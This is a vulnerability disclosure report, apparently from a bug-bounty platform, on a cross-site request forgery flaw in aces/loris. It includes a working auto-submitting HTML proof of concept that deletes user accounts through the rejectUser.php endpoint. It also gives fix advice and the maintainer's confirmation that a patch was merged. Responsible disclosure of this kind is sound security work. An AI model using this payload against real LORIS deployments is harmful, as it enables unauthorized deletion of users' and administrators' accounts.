Cross-Site Request Forgery (CSRF) in aces/loris

Valid

Reported on

Aug 17th 2021


✍️ Description

Attacker able to delete any user with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can delete any user, this means only with visiting a site a user will be deleted.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Firefox or Safari.

2.Open the PoC.html (it is auto-submit).

3.Here a user with username attacker will be deleted after the PoC.html file opened.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/demo.loris.ca\/user_accounts\/ajax\/rejectUser.php", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
        xhr.withCredentials = true;
        var body = "identifier=attacker";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Also we can delete multiple users at same time.

💥 Impact

This vulnerability is capable of delete any admin user.

Fix

The easiest way that you set strict attribute on each cookie. The best way is that you set a CSRF token in each endpoint.

Occurences

We have contacted a member of the aces/loris team and are waiting to hear back 4 months ago
aces/loris maintainer
4 months ago

Thank you for reporting this.

This should be fixed by the same bugfix for the samesite session cookie attribute as your other reports. https://github.com/aces/Loris/pull/7539

aces/loris maintainer confirmed that a fix has been merged on 13df53 4 months ago
The fix bounty has been dropped